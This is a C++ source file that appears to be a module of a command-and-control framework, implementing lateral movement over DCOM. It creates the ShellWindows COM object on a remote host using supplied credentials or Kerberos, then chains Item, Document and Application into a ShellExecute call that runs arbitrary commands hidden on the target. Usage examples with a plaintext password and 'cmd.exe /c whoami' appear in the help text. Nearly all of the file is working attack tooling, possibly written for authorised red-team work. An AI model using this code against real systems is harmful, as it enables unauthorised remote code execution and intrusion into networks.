#include "DcomExec.hpp" #include "Common.hpp" #include #ifdef _WIN32 #include #include #include #include #pragma comment(lib, "ole32.lib") #pragma comment(lib, "oleaut32.lib") using ATL::CComPtr; #endif using namespace std; constexpr std::string_view moduleNameDcom = "dcomExec"; constexpr unsigned long long moduleHashDcom = djb2(moduleNameDcom); #ifdef _WIN32 extern "C" __declspec(dllexport) DcomExec* DcomExecConstructor() { return new DcomExec(); } #else extern "C" __attribute__((visibility("default"))) DcomExec* DcomExecConstructor() { return new DcomExec(); } #endif DcomExec::DcomExec() #ifdef BUILD_TEAMSERVER : ModuleCmd(std::string(moduleNameDcom), moduleHashDcom) #else : ModuleCmd("", moduleHashDcom) #endif { } DcomExec::~DcomExec() = default; // DCOM/RPC connectivity (TCP 135 + dynamic RPC high ports) std::string DcomExec::getInfo() { std::ostringstream oss; #ifdef BUILD_TEAMSERVER oss << "DCOM Execution Module:\n"; oss << "Trigger remote COM objects to execute commands using ShellWindows {9BA05972-F6A8-11CF-A442-00A0C90A8F39}." << '\n'; oss << "Options:" << '\n'; oss << " -h Remote hostname or IP." << '\n'; oss << " -c Command to execute." << '\n'; oss << " -a Arguments for the command." << '\n'; oss << " -w Working directory." << '\n'; oss << " -k SPN to request for Kerberos (e.g. HOST/fqdn)." << '\n'; oss << " -u Username for explicit credentials." << '\n'; oss << " -p Password for explicit credentials." << '\n'; oss << " -n No cred, for local use." << '\n'; oss << "Example:" << '\n'; oss << " dcomExec -h fileserver -k HOST/fileserver.domain -u DOMAIN\\\\user -p Passw0rd -c cmd.exe -a \"/c whoami\"" << '\n'; oss << " dcomExec -h fileserver -c cmd.exe -a \"/c whoami\"\n"; #endif return oss.str(); } // packParameters() — append new fields (spn, username, password, noPassword flag) std::string DcomExec::packParameters(const Parameters& params) const { std::string packed; auto append = [&packed](const std::string& value) { packed.append(value); packed.push_back('\0'); }; append(params.hostname); append(params.progId); append(params.command); append(params.arguments); append(params.workingDir); // new fields append(params.spn); append(params.username); append(params.password); // store noPassword as "1" or "0" append(params.noPassword ? "1" : "0"); return packed; } // unpackParameters() — read back the added fields DcomExec::Parameters DcomExec::unpackParameters(const std::string& data) const { Parameters params; std::vector parts; size_t start = 0; while (start < data.size()) { size_t end = data.find('\0', start); if (end == std::string::npos) { break; } parts.emplace_back(data.substr(start, end - start)); start = end + 1; } // we now expect at least 9 parts: // hostname, progId, command, arguments, workingDir, spn, username, password, noPassword if (parts.size() < 9) { return params; } params.hostname = parts[0]; params.progId = parts[1]; params.command = parts[2]; params.arguments = parts[3]; params.workingDir = parts[4]; // new fields params.spn = parts[5]; params.username = parts[6]; params.password = parts[7]; params.noPassword = (parts[8] == "1"); return params; } int DcomExec::init(std::vector& splitedCmd, C2Message& c2Message) { #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) std::vector args = regroupStrings(splitedCmd); Parameters params; if (args.size() < 2) { c2Message.set_returnvalue(getInfo()); return -1; } params.noPassword=false; for (size_t i = 1; i < args.size(); ++i) { const std::string& current = args[i]; if (current == "-h" && i + 1 < args.size()) { params.hostname = args[++i]; } else if (current == "-c" && i + 1 < args.size()) { params.command = args[++i]; } else if (current == "-a" && i + 1 < args.size()) { params.arguments = args[++i]; } else if (current == "-w" && i + 1 < args.size()) { params.workingDir = args[++i]; } else if (current == "-k" && i + 1 < args.size()) { params.spn = args[++i]; } else if (current == "-u" && i + 1 < args.size()) { params.username = args[++i]; } else if (current == "-p" && i + 1 < args.size()) { params.password = args[++i]; } else if (current == "-n") { // no cred use params.noPassword = true; } // fallback: positional args (hostname, command, arguments) else if (!current.empty() && current[0] != '-') { if (params.hostname.empty()) { params.hostname = current; } else if (params.command.empty()) { params.command = current; } else if (params.arguments.empty()) { params.arguments = current; } } } // Basic validation if (params.hostname.empty() || params.command.empty()) { c2Message.set_returnvalue("Missing hostname or command.\n" + getInfo()); return -1; } // Credential validation rules: // - If username provided: // - If noPassword == false and password empty => error (we expect -p) // - If noPassword == true => ok (we will not send password; client likely wants to use ticket or blank password) // - If password provided without username => error if (!params.username.empty()) { if (!params.noPassword && params.password.empty()) { c2Message.set_returnvalue("Username provided but no password (-p) and -n not set.\n" + getInfo()); return -1; } } else { // username empty if (!params.password.empty()) { c2Message.set_returnvalue("Password supplied (-p) but no username (-u).\n" + getInfo()); return -1; } } // store instruction + packed params c2Message.set_instruction(splitedCmd[0]); c2Message.set_cmd(packParameters(params)); #endif return 0; } int DcomExec::process(C2Message& c2Message, C2Message& c2RetMessage) { std::string cmd = c2Message.cmd(); c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(cmd); Parameters params = unpackParameters(c2Message.cmd()); std::string result; int error = 0; #ifdef _WIN32 error = executeRemote(params, result); #else result = "Oly supported on Windows.\n"; #endif if(error) c2RetMessage.set_errorCode(error); c2RetMessage.set_instruction(c2Message.instruction()); c2RetMessage.set_cmd(c2Message.cmd()); c2RetMessage.set_returnvalue(result); return 0; } #define ERROR_SUCCESS 0 #define ERROR_COINIT_FAILED 1 #define ERROR_CLSIDFROMSTRING_FAILED 2 #define ERROR_COCREATEINSTANCE_FAILED 3 #define ERROR_GETIDS_ITEM_FAILED 4 #define ERROR_INVOKE_ITEM_FAILED 5 #define ERROR_GETIDS_DOCUMENT_FAILED 6 #define ERROR_INVOKE_DOCUMENT_FAILED 7 #define ERROR_GETIDS_APPLICATION_FAILED 8 #define ERROR_INVOKE_APPLICATION_FAILED 9 #define ERROR_GETIDS_SHELLEXECUTE_FAILED 10 #define ERROR_INVOKE_SHELLEXECUTE_FAILED 11 #define ERROR_AUTHIDENTITY_ALLOC_FAILED 12 #define ERROR_SET_PROXY_BLANKET_FAILED 13 int DcomExec::errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) { #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) int errorCode = c2RetMessage.errorCode(); if(errorCode > 0) { // Handle specific error codes and provide detailed messages switch (errorCode) { case ERROR_COINIT_FAILED: errorMsg = "CoInitializeEx failed: " + c2RetMessage.returnvalue(); break; case ERROR_CLSIDFROMSTRING_FAILED: errorMsg = "CLSIDFromString failed: " + c2RetMessage.returnvalue(); break; case ERROR_COCREATEINSTANCE_FAILED: errorMsg = "CoCreateInstanceEx failed: " + c2RetMessage.returnvalue(); break; case ERROR_GETIDS_ITEM_FAILED: errorMsg = "Failed to get 'Item' ID: " + c2RetMessage.returnvalue(); break; case ERROR_INVOKE_ITEM_FAILED: errorMsg = "Invoke 'Item' method failed: " + c2RetMessage.returnvalue(); break; case ERROR_GETIDS_DOCUMENT_FAILED: errorMsg = "Failed to get 'Document' ID: " + c2RetMessage.returnvalue(); break; case ERROR_INVOKE_DOCUMENT_FAILED: errorMsg = "Invoke 'Document' method failed: " + c2RetMessage.returnvalue(); break; case ERROR_GETIDS_APPLICATION_FAILED: errorMsg = "Failed to get 'Application' ID: " + c2RetMessage.returnvalue(); break; case ERROR_INVOKE_APPLICATION_FAILED: errorMsg = "Invoke 'Application' method failed: " + c2RetMessage.returnvalue(); break; case ERROR_GETIDS_SHELLEXECUTE_FAILED: errorMsg = "Failed to get 'ShellExecute' ID: " + c2RetMessage.returnvalue(); break; case ERROR_INVOKE_SHELLEXECUTE_FAILED: errorMsg = "Invoke 'ShellExecute' method failed: " + c2RetMessage.returnvalue(); break; case ERROR_AUTHIDENTITY_ALLOC_FAILED: errorMsg = "Authentication identity allocation failed: " + c2RetMessage.returnvalue(); break; case ERROR_SET_PROXY_BLANKET_FAILED: errorMsg = "CoSetProxyBlanket failed: " + c2RetMessage.returnvalue(); break; default: // For any other error codes errorMsg = "Unknown error occurred: " + c2RetMessage.returnvalue(); break; } } #endif return 0; } #ifdef _WIN32 namespace { std::wstring toWide(const std::string& value) { if (value.empty()) { return std::wstring(); } int sizeNeeded = MultiByteToWideChar(CP_UTF8, 0, value.c_str(), static_cast(value.size()), nullptr, 0); std::wstring wide(sizeNeeded, L'\0'); MultiByteToWideChar(CP_UTF8, 0, value.c_str(), static_cast(value.size()), wide.data(), sizeNeeded); return wide; } std::string formatHResult(HRESULT hr) { _com_error err(hr); std::ostringstream oss; oss << "0x" << std::hex << std::uppercase << hr << ": " << err.ErrorMessage(); return oss.str(); } static COAUTHIDENTITY* MakeAuthIdentityW(const std::wstring& user, const std::wstring& domain, const std::wstring& pass) { COAUTHIDENTITY* p = (COAUTHIDENTITY*)CoTaskMemAlloc(sizeof(COAUTHIDENTITY)); if (!p) return nullptr; ZeroMemory(p, sizeof(*p)); // NOTE: CoTaskMemAlloc used so it can be freed with CoTaskMemFree p->User = (USHORT*)CoTaskMemAlloc((user.size()+1) * sizeof(wchar_t)); p->Domain = (USHORT*)CoTaskMemAlloc((domain.size()+1) * sizeof(wchar_t)); p->Password = (USHORT*)CoTaskMemAlloc((pass.size()+1) * sizeof(wchar_t)); if (!p->User || !p->Domain || !p->Password) { if (p->User) CoTaskMemFree(p->User); if (p->Domain) CoTaskMemFree(p->Domain); if (p->Password) CoTaskMemFree(p->Password); CoTaskMemFree(p); return nullptr; } wcscpy_s((wchar_t*)p->User, user.size()+1, user.c_str()); wcscpy_s((wchar_t*)p->Domain, domain.size()+1, domain.c_str()); wcscpy_s((wchar_t*)p->Password, pass.size()+1, pass.c_str()); p->UserLength = (ULONG)user.size(); p->DomainLength = (ULONG)domain.size(); p->PasswordLength = (ULONG)pass.size(); p->Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE; return p; } void FreeAuthIdentity(COAUTHIDENTITY* p) { if (!p) return; if (p->User) CoTaskMemFree(p->User); if (p->Domain) CoTaskMemFree(p->Domain); if (p->Password) CoTaskMemFree(p->Password); CoTaskMemFree(p); } } // +-------------------------------------------------------------+ // | CLSID_ShellWindows ({9BA05972-F6A8-11CF-A442-00A0C90A8F39}) | // | → IDispatch interface (returned by CoCreateInstanceEx) | // +-------------------------------------------------------------+ // │ // ▼ // .Item(index = 0) // │ // ▼ // +----------------+----------------+ // | IDispatch for Shell Window | // | (represents a single Explorer | // | or IE window instance) | // +---------------------------------+ // │ // ▼ // .Document property // │ // ▼ // +----------------+----------------+ // | IDispatch for Document object | // | (represents the loaded content | // | or folder view) | // +---------------------------------+ // │ // ▼ // .Application property // │ // ▼ // +----------------+----------------+ // | IDispatch for Application | // | (represents the top-level | // | shell application instance, | // | exposes Shell automation API) | // +---------------------------------+ // │ // ▼ // .ShellExecute(file, args, dir, op, show) // │ // ▼ // Executes the remote command on the target // https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ // TODO https://github.com/xforcered/ForsHops/blob/main/ForsHops.cpp ? int DcomExec::executeRemote(const Parameters& params, std::string& result) const { DWORD authnSvc = RPC_C_AUTHN_WINNT; const DWORD authzSvc = RPC_C_AUTHZ_NONE; const DWORD authnLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY; const DWORD impLevel = RPC_C_IMP_LEVEL_IMPERSONATE; DWORD capabilities = EOAC_NONE; std::wstring spn = std::wstring(params.spn.begin(), params.spn.end()); std::wstring hostnameWide = toWide(params.hostname); std::wstring domainW; std::wstring userW; std::wstring passW; bool usernameProvided = !params.username.empty(); bool passwordProvided = !params.password.empty(); bool useExplicitCreds = usernameProvided && passwordProvided; COAUTHIDENTITY* authIdentity = nullptr; COAUTHINFO authInfo = {}; bool authInfoConfigured = false; // use user name password // - local account // - domain accounts if (useExplicitCreds) { userW = std::wstring(params.username.begin(), params.username.end()); passW = std::wstring(params.password.begin(), params.password.end()); // Support DOMAIN\\User size_t slashPos = userW.find(L'\\'); if (slashPos != std::wstring::npos) { domainW = userW.substr(0, slashPos); userW = userW.substr(slashPos + 1); } else { domainW.clear(); } // Detect local account usage (DOMAIN == '.' or empty or same as hostname) bool isLocalAccount = false; if (domainW.empty() || domainW == L".") { isLocalAccount = true; } else if (!hostnameWide.empty() && _wcsicmp(domainW.c_str(), hostnameWide.c_str()) == 0) { isLocalAccount = true; } if (isLocalAccount) { // Use machine name when authenticating with a local account if (!hostnameWide.empty()) { domainW = hostnameWide; } authnSvc = RPC_C_AUTHN_WINNT; } else { // Domain credentials – prefer Kerberos when an SPN is supplied, fallback to Negotiate otherwise authnSvc = spn.empty() ? RPC_C_AUTHN_GSS_NEGOTIATE : RPC_C_AUTHN_GSS_KERBEROS; capabilities = spn.empty() ? EOAC_NONE : RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH; } authIdentity = MakeAuthIdentityW(userW, domainW, passW); if (!authIdentity) { result = "Failed to allocate authentication identity."; return ERROR_AUTHIDENTITY_ALLOC_FAILED; } authInfo.dwAuthnSvc = RPC_C_AUTHN_WINNT; authInfo.dwAuthzSvc = authzSvc; authInfo.pwszServerPrincName = NULL; authInfo.dwAuthnLevel = RPC_C_AUTHN_LEVEL_DEFAULT; authInfo.dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE; authInfo.pAuthIdentityData = authIdentity; authInfo.dwCapabilities = capabilities; authInfoConfigured = true; } // Don't use credentials // - kerberos ticket from process memory = !spn.empty() // - local call ? else { // No explicit credentials provided – rely on the caller's token if (!spn.empty()) { authnSvc = RPC_C_AUTHN_GSS_KERBEROS; capabilities = RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH; authInfo.dwAuthnSvc = authnSvc; authInfo.dwAuthzSvc = authzSvc; authInfo.pwszServerPrincName = const_cast(spn.c_str()); authInfo.dwAuthnLevel = authnLevel; authInfo.dwImpersonationLevel = impLevel; authInfo.pAuthIdentityData = nullptr; authInfo.dwCapabilities = capabilities; authInfoConfigured = true; } else { authnSvc = RPC_C_AUTHN_WINNT; capabilities = EOAC_NONE; } } HRESULT hr; bool needUninit = false; result.clear(); // Initialize COM hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED); if (SUCCEEDED(hr)) { needUninit = true; } else if (hr != RPC_E_CHANGED_MODE) { result = formatHResult(hr); return ERROR_COINIT_FAILED; } // Optional (recommended): set process-wide defaults before doing remote calls // Note: call this once (and before CoCreateInstanceEx ideally) CoInitializeSecurity( nullptr, // pSecDesc -1, // cAuthSvc nullptr, // asAuthSvc nullptr, // pReserved1 RPC_C_AUTHN_LEVEL_PKT_PRIVACY, // RPC_C_AUTHN_LEVEL RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL nullptr, // pAuthList (use default) EOAC_NONE, // dwCapabilities nullptr // pReserved ); // Convert CLSID CLSID clsid; // CLSID_ShellWindows std::wstring clsidStr = L"{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"; hr = CLSIDFromString((LPOLESTR)clsidStr.c_str(), &clsid); if (FAILED(hr)) { result = formatHResult(hr); if (needUninit) CoUninitialize(); return ERROR_CLSIDFROMSTRING_FAILED; } // Server info COSERVERINFO serverInfo = {}; serverInfo.pwszName = hostnameWide.empty() ? nullptr : const_cast(hostnameWide.c_str()); if (authInfoConfigured) { serverInfo.pAuthInfo = &authInfo; } MULTI_QI mqi = {}; mqi.pIID = &IID_IDispatch; mqi.pItf = nullptr; mqi.hr = 0; // Create remote COM object hr = CoCreateInstanceEx(clsid, nullptr, CLSCTX_REMOTE_SERVER | CLSCTX_LOCAL_SERVER, serverInfo.pwszName ? &serverInfo : nullptr, 1, &mqi); if (FAILED(hr) || FAILED(mqi.hr)) { result = formatHResult(FAILED(hr) ? hr : mqi.hr); if (authIdentity) FreeAuthIdentity(authIdentity); if (needUninit) CoUninitialize(); return ERROR_COCREATEINSTANCE_FAILED; } CComPtr dispatch; dispatch.Attach(static_cast(mqi.pItf)); LPWSTR proxySpn = nullptr; if (authInfoConfigured && authInfo.pwszServerPrincName) { proxySpn = authInfo.pwszServerPrincName; } hr = CoSetProxyBlanket( dispatch, authnSvc, authzSvc, proxySpn, authnLevel, impLevel, authIdentity, capabilities ); if (FAILED(hr)) { result = formatHResult(hr); if (authIdentity) FreeAuthIdentity(authIdentity); if (needUninit) CoUninitialize(); return ERROR_SET_PROXY_BLANKET_FAILED; } if (authIdentity) { FreeAuthIdentity(authIdentity); authIdentity = nullptr; } // Get "Item" DISPID dispid; OLECHAR* methodName = const_cast(L"Item"); hr = dispatch->GetIDsOfNames(IID_NULL, &methodName, 1, LOCALE_USER_DEFAULT, &dispid); if (FAILED(hr)) { result = formatHResult(hr); if (needUninit) CoUninitialize(); return ERROR_GETIDS_ITEM_FAILED; } int itemIndex = 0; VARIANT idx; VariantInit(&idx); idx.vt = VT_I4; idx.lVal = itemIndex; DISPPARAMS dpItem = { &idx, nullptr, 1, 0 }; VARIANT vWindow; VariantInit(&vWindow); hr = dispatch->Invoke(dispid, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_METHOD | DISPATCH_PROPERTYGET, &dpItem, &vWindow, nullptr, nullptr); VariantClear(&idx); if (FAILED(hr)) { result = formatHResult(hr); if (needUninit) CoUninitialize(); return ERROR_INVOKE_ITEM_FAILED; } IDispatch* windowDisp = vWindow.pdispVal; if(windowDisp==nullptr) { if (needUninit) CoUninitialize(); return ERROR_INVOKE_ITEM_FAILED; } // Get "Document" DISPID dispidDocument; OLECHAR* nameDocument = const_cast(L"Document"); hr = windowDisp->GetIDsOfNames(IID_NULL, &nameDocument, 1, LOCALE_USER_DEFAULT, &dispidDocument); if (FAILED(hr)) { result = formatHResult(hr); windowDisp->Release(); if (needUninit) CoUninitialize(); return ERROR_GETIDS_DOCUMENT_FAILED; } VARIANT vDoc; VariantInit(&vDoc); DISPPARAMS dpNoArgs = { nullptr, nullptr, 0, 0 }; hr = windowDisp->Invoke(dispidDocument, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_PROPERTYGET, &dpNoArgs, &vDoc, nullptr, nullptr); windowDisp->Release(); if (FAILED(hr)) { result = formatHResult(hr); if (needUninit) CoUninitialize(); return ERROR_INVOKE_DOCUMENT_FAILED; } IDispatch* docDisp = vDoc.pdispVal; // Get "Application" DISPID dispidApplication; OLECHAR* nameApplication = const_cast(L"Application"); hr = docDisp->GetIDsOfNames(IID_NULL, &nameApplication, 1, LOCALE_USER_DEFAULT, &dispidApplication); if (FAILED(hr)) { result = formatHResult(hr); docDisp->Release(); if (needUninit) CoUninitialize(); return ERROR_GETIDS_APPLICATION_FAILED; } VARIANT vApp; VariantInit(&vApp); hr = docDisp->Invoke(dispidApplication, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_PROPERTYGET, &dpNoArgs, &vApp, nullptr, nullptr); docDisp->Release(); if (FAILED(hr)) { result = formatHResult(hr); if (needUninit) CoUninitialize(); return ERROR_INVOKE_APPLICATION_FAILED; } IDispatch* appDisp = vApp.pdispVal; // Get "ShellExecute" DISPID dispidShellExecute; OLECHAR* nameShellExecute = const_cast(L"ShellExecute"); hr = appDisp->GetIDsOfNames(IID_NULL, &nameShellExecute, 1, LOCALE_USER_DEFAULT, &dispidShellExecute); if (FAILED(hr)) { result = formatHResult(hr); appDisp->Release(); if (needUninit) CoUninitialize(); return ERROR_GETIDS_SHELLEXECUTE_FAILED; } // Prepare ShellExecute args VARIANT args[5]; for (int i = 0; i < 5; ++i) VariantInit(&args[i]); args[0].vt = VT_I4; args[0].lVal = SW_HIDE; args[1].vt = VT_BSTR; args[1].bstrVal = SysAllocString(L"open"); args[2].vt = VT_BSTR; args[2].bstrVal = SysAllocString(toWide(params.workingDir).c_str()); args[3].vt = VT_BSTR; args[3].bstrVal = SysAllocString(toWide(params.arguments).c_str()); args[4].vt = VT_BSTR; args[4].bstrVal = SysAllocString(toWide(params.command).c_str()); DISPPARAMS dp = { args, nullptr, 5, 0 }; VARIANT vResult; VariantInit(&vResult); EXCEPINFO exInfo = {}; UINT argErr = (UINT)-1; hr = appDisp->Invoke(dispidShellExecute, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_METHOD, &dp, &vResult, &exInfo, &argErr); for (int i = 0; i < 5; ++i) VariantClear(&args[i]); VariantClear(&vResult); appDisp->Release(); if (FAILED(hr)) { result = formatHResult(hr); if (needUninit) CoUninitialize(); return ERROR_INVOKE_SHELLEXECUTE_FAILED; } if (needUninit) CoUninitialize(); result = "Success"; return ERROR_SUCCESS; } #endif // // CLSID from progID // // CLSID clsid; // std::wstring progIdWide = toWide(params.progId); // hr = CLSIDFromProgID(progIdWide.c_str(), &clsid); // if (FAILED(hr)) // { // if (needUninit) // { // CoUninitialize(); // } // return "CLSIDFromProgID failed: " + formatHResult(hr) + "\n"; // } // // Enum // // CComPtr pTypeInfo; // hr = dispatch->GetTypeInfo(0, LOCALE_USER_DEFAULT, &pTypeInfo); // if (SUCCEEDED(hr) && pTypeInfo) { // TYPEATTR* pAttr = nullptr; // hr = pTypeInfo->GetTypeAttr(&pAttr); // if (SUCCEEDED(hr) && pAttr) { // for (UINT i = 0; i < pAttr->cFuncs; ++i) { // FUNCDESC* pFuncDesc = nullptr; // if (SUCCEEDED(pTypeInfo->GetFuncDesc(i, &pFuncDesc))) { // UINT cNames = 0; // // first call GetNames to learn the name(s) for this memid // BSTR* names = nullptr; // // GetNames will allocate the BSTRs into caller supplied array. // // We don't know how many names, but GetNames returns the count. // // Here we allocate a safe array of size 16 for names: // names = (BSTR*)CoTaskMemAlloc(sizeof(BSTR) * 16); // if (names) { // hr = pTypeInfo->GetNames(pFuncDesc->memid, names, 16, &cNames); // if (SUCCEEDED(hr)) { // for (UINT n = 0; n < cNames; ++n) { // wprintf(L"Name: %s\n", names[n]); // SysFreeString(names[n]); // } // } // CoTaskMemFree(names); // } // pTypeInfo->ReleaseFuncDesc(pFuncDesc); // } // } // pTypeInfo->ReleaseTypeAttr(pAttr); // } // }